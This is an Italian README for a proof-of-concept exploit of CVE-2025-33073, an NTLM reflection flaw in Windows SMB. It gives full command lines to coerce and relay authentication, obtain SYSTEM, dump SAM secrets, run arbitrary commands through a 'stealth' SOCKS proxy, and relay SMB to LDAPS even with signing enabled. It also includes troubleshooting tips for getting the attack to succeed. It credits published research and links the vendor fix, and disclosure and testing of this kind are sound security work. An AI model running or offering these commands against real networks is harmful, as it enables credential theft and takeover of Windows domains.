CVE-2025-33073

PoC Exploit per la falla SMB di reflection NTLM.

Tutto il merito va alla ricerca ufficiale:
https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025

Prerequisiti

OS: Kali Linux (ha la maggior parte dei pacchetti preinstallati).

• NetExec (NXC) - https://github.com/Pennyw0rth/NetExec
• impacket-ntlmrelayx
• dnstool.py (incluso nella repo)

Configurazione

Lo strumento userà automaticamente un ambiente virtuale. Per configurarlo, esegui:

./setup.sh

Questo creerà un ambiente virtuale e installerà tutte le dipendenze richieste, inclusa ldap3-bleeding-edge==2.10.1.1337.

Esempio di utilizzo

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

Comando personalizzato
Invece di eseguire secretsdump, è possibile eseguire un comando personalizzato.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --custom-command "whoami"

SOCKS
Per un'esecuzione più stealth dei comandi dopo aver stabilito una connessione valida come SYSTEM. --target e --target-ip devono essere uguali qui.

python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --socks

È anche possibile eseguire un comando personalizzato tramite proxychains invece di dumpare il SAM.

proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

Exploit relay verso LDAPS anche con SMB Signing abilitato

È stata condotta una ricerca per verificare se la reflection non funzionasse davvero con SMB signing abilitato, che ha portato alla scoperta di bug per cui, se SIGN/SEAL vengono rimossi dal pacchetto, è possibile fare relay da SMB a LDAPS, cosa solitamente non possibile a causa del MIC.

Ringraziamenti a:

• https://github.com/decoder-it/impacket-partial-mic/
• https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/
• https://www.depthsecurity.com/blog/using-ntlm-reflection-to-own-active-directory/

python3 CVE-2025-33073.py -u "thewoods.local\test" -p 'pass' -d 192.168.204.131 --dns-ip 192.168.204.133 --dc-fqdn DC01.thewoods.local --target 192.168.204.133 --target-ip 192.168.204.133 -M DFSCoerce --smb-signing

Exploit manuale senza requisito DNS

Se ti trovi nello stesso dominio broadcast del dispositivo ed è vulnerabile all'avvelenamento LLMNR, è possibile sfruttare un dispositivo senza dover registrare un record DNS.

Risoluzione dei problemi

• A volte l'attacco non funziona perché viene usato l'hostname per l'attacco, il che comporta una risoluzione DNS da parte di Kali. Se Kali non sta usando il server DNS o ricevi un messaggio '/ FAILED' da impacket-ntlmrelayx, prova ad aggiungere l'host al tuo file /etc/hosts. Questo dovrebbe far funzionare l'attacco.
• Se usi l'IP l'attacco dovrebbe funzionare. A volte eseguirlo più volte porta a un SUCCESS invece che a un fallimento. Finora non è del tutto chiaro perché succeda. Penso abbia a che fare con la rete.
• Prova un altro metodo di coerce usando -M o --method.

Wireshark

L'autenticazione NTLM locale avviene

L'autenticazione NTLM locale non avviene, portando a un tentativo FAILED

Da sapere

• Il record DNS dovrebbe essere noto anche al client; in alcuni casi può richiedere più tempo. Con più tempo intendo qualche minuto.
• Questo è solo un PoC, il che significa che non è stato tentato alcun bypass di AV/EDR. Usalo a tuo rischio.
  

Come risolvere

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33073